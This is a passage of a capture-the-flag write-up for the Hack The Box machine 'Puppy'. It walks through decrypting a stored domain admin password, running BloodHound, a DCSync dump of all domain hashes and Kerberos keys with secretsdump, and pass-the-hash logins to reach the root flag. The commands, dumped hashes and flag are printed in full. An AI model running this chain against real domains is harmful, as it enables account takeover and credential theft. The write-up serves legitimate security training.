Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
→ Found password FivethChipOnItsWay2025!
for steph.cooper_adm
.
Use BloodHound
again.
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└─$ bloodhound-python -dc DC.PUPPY.HTB -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!' -d PUPPY.HTB -c All -o bloodhound_results.json -ns 10.10.11.70
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.PUPPY.HTB
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 21 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 38S
Import again.
Found out that steph.cooper_adm
has DCSync
.
→ We can use DCSync
attack to dump all the credentials of Administrator
account.
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└─$ secretsdump.py 'PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xa943f13896e3e21f6c4100c7da9895a6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9c541c389e2904b9b112f599fd6b333d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PUPPY\DC$:aes256-cts-hmac-sha1-96:f4f395e28f0933cac28e02947bc68ee11b744ee32b6452dbf795d9ec85ebda45
PUPPY\DC$:aes128-cts-hmac-sha1-96:4d596c7c83be8cd71563307e496d8c30
PUPPY\DC$:des-cbc-md5:54e9a11619f8b9b5
PUPPY\DC$:plain_password_hex:84880c04e892448b6419dda6b840df09465ffda259692f44c2b3598d8f6b9bc1b0bc37b17528d18a1e10704932997674cbe6b89fd8256d5dfeaa306dc59f15c1834c9ddd333af63b249952730bf256c3afb34a9cc54320960e7b3783746ffa1a1528c77faa352a82c13d7c762c34c6f95b4bbe04f9db6164929f9df32b953f0b419fbec89e2ecb268ddcccb4324a969a1997ae3c375cc865772baa8c249589e1757c7c36a47775d2fc39e566483d0fcd48e29e6a384dc668228186a2196e48c7d1a8dbe6b52fc2e1392eb92d100c46277e1b2f43d5f2b188728a3e6e5f03582a9632da8acfc4d992899f3b64fe120e13
PUPPY\DC$:aad3b435b51404eeaad3b435b51404ee:d5047916131e6ba897f975fc5f19c8df:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc21ea457ed3d6fd425344b3a5ca40769f14296a3
dpapi_userkey:0xcb6a80b44ae9bdd7f368fb674498d265d50e29bf
[*] NL$KM
0000 DD 1B A5 A0 33 E7 A0 56 1C 3F C3 F5 86 31 BA 09 ....3..V.?...1..
0010 1A C4 D4 6A 3C 2A FA 15 26 06 3B 93 E0 66 0F 7A ...j<*..&.;..f.z
0020 02 9A C7 2E 52 79 C1 57 D9 0C D3 F6 17 79 EF 3F ....Ry.W.....y.?
0030 75 88 A3 99 C7 E0 2B 27 56 95 5C 6B 85 81 D0 ED u.....+'V.\k....
NL$KM:dd1ba5a033e7a0561c3fc3f58631ba091ac4d46a3c2afa1526063b93e0660f7a029ac72e5279c157d90cd3f61779ef3f7588a399c7e02b2756955c6b8581d0ed
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a4f2989236a639ef3f766e5fe1aad94a:::
PUPPY.HTB\levi.james:1103:aad3b435b51404eeaad3b435b51404ee:ff4269fdf7e4a3093995466570f435b8:::
PUPPY.HTB\ant.edwards:1104:aad3b435b51404eeaad3b435b51404ee:afac881b79a524c8e99d2b34f438058b:::
PUPPY.HTB\adam.silver:1105:aad3b435b51404eeaad3b435b51404ee:a7d7c07487ba2a4b32fb1d0953812d66:::
PUPPY.HTB\jamie.williams:1106:aad3b435b51404eeaad3b435b51404ee:bd0b8a08abd5a98a213fc8e3c7fca780:::
PUPPY.HTB\steph.cooper:1107:aad3b435b51404eeaad3b435b51404ee:b261b5f931285ce8ea01a8613f09200b:::
PUPPY.HTB\steph.cooper_adm:1111:aad3b435b51404eeaad3b435b51404ee:ccb206409049bc53502039b80f3f1173:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5047916131e6ba897f975fc5f19c8df:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c0b23d37b5ad3de31aed317bf6c6fd1f338d9479def408543b85bac046c596c0
Administrator:aes128-cts-hmac-sha1-96:2c74b6df3ba6e461c9d24b5f41f56daf
Administrator:des-cbc-md5:20b9e03d6720150d
krbtgt:aes256-cts-hmac-sha1-96:f2443b54aed754917fd1ec5717483d3423849b252599e59b95dfdcc92c40fa45
krbtgt:aes128-cts-hmac-sha1-96:60aab26300cc6610a05389181e034851
krbtgt:des-cbc-md5:5876d051f78faeba
PUPPY.HTB\levi.james:aes256-cts-hmac-sha1-96:2aad43325912bdca0c831d3878f399959f7101bcbc411ce204c37d585a6417ec
PUPPY.HTB\levi.james:aes128-cts-hmac-sha1-96:661e02379737be19b5dfbe50d91c4d2f
PUPPY.HTB\levi.james:des-cbc-md5:efa8c2feb5cb6da8
PUPPY.HTB\ant.edwards:aes256-cts-hmac-sha1-96:107f81d00866d69d0ce9fd16925616f6e5389984190191e9cac127e19f9b70fc
PUPPY.HTB\ant.edwards:aes128-cts-hmac-sha1-96:a13be6182dc211e18e4c3d658a872182
PUPPY.HTB\ant.edwards:des-cbc-md5:835826ef57bafbc8
PUPPY.HTB\adam.silver:aes256-cts-hmac-sha1-96:670a9fa0ec042b57b354f0898b3c48a7c79a46cde51c1b3bce9afab118e569e6
PUPPY.HTB\adam.silver:aes128-cts-hmac-sha1-96:5d2351baba71061f5a43951462ffe726
PUPPY.HTB\adam.silver:des-cbc-md5:643d0ba43d54025e
PUPPY.HTB\jamie.williams:aes256-cts-hmac-sha1-96:aeddbae75942e03ac9bfe92a05350718b251924e33c3f59fdc183e5a175f5fb2
PUPPY.HTB\jamie.williams:aes128-cts-hmac-sha1-96:d9ac02e25df9500db67a629c3e5070a4
PUPPY.HTB\jamie.williams:des-cbc-md5:cb5840dc1667b615
PUPPY.HTB\steph.cooper:aes256-cts-hmac-sha1-96:799a0ea110f0ecda2569f6237cabd54e06a748c493568f4940f4c1790a11a6aa
PUPPY.HTB\steph.cooper:aes128-cts-hmac-sha1-96:cdd9ceb5fcd1696ba523306f41a7b93e
PUPPY.HTB\steph.cooper:des-cbc-md5:d35dfda40d38529b
PUPPY.HTB\steph.cooper_adm:aes256-cts-hmac-sha1-96:a3b657486c089233675e53e7e498c213dc5872d79468fff14f9481eccfc05ad9
PUPPY.HTB\steph.cooper_adm:aes128-cts-hmac-sha1-96:c23de8b49b6de2fc5496361e4048cf62
PUPPY.HTB\steph.cooper_adm:des-cbc-md5:6231015d381ab691
DC$:aes256-cts-hmac-sha1-96:f4f395e28f0933cac28e02947bc68ee11b744ee32b6452dbf795d9ec85ebda45
DC$:aes128-cts-hmac-sha1-96:4d596c7c83be8cd71563307e496d8c30
DC$:des-cbc-md5:7f044607a8dc9710
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└─$ sudo crackmapexec winrm 10.10.11.70 -u 'Administrator' -H 'bb0edc15e49ceb4120c7bd7e6e65d75b' -d PUPPY.HTB
HTTP 10.10.11.70 5985 10.10.11.70 [*] http://10.10.11.70:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.70 5985 10.10.11.70 [+] PUPPY.HTB\Administrator:bb0edc15e49ceb4120c7bd7e6e65d75b (Pwn3d!)
→ We can access the machine as Administrator
account.
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└─$ evil-winrm -i 10.10.11.70 -u 'Administrator' -H 'bb0edc15e49ceb4120c7bd7e6e65d75b'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/19/2025 6:52 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
7c4823ac2b5271a922127c1f128d4df6
→ Found the root.txt
flag.